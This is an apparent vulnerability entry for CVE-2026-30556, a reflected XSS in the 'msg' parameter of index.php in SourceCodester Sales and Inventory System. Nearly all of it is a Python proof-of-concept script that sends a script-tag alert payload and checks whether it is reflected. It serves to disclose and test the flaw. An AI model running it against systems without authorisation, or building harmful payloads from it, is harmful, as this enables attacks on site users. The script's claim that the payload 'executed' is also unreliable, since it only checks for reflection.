CVE-2026-30556 SourceCodester Sales and Inventory System XSS漏洞

# PoC for CVE-2026-30556 # The vulnerability exists in the 'msg' parameter of index.php import requests target_url = "http://target-ip/index.php" # Malicious payload to test script execution payload = "<script>alert('CVE-2026-30556_XSS')</script>" try: # Send a GET request with the payload in the 'msg' parameter response = requests.get(target_url, params={"msg": payload}) # Check if the payload is reflected un-sanitized in the response if payload in response.text: print("[+] The application is vulnerable to Reflected XSS.") print("[+] Payload executed successfully.") else: print("[-] Vulnerability not detected or payload was sanitized.") except Exception as e: print(f"Error: {e}")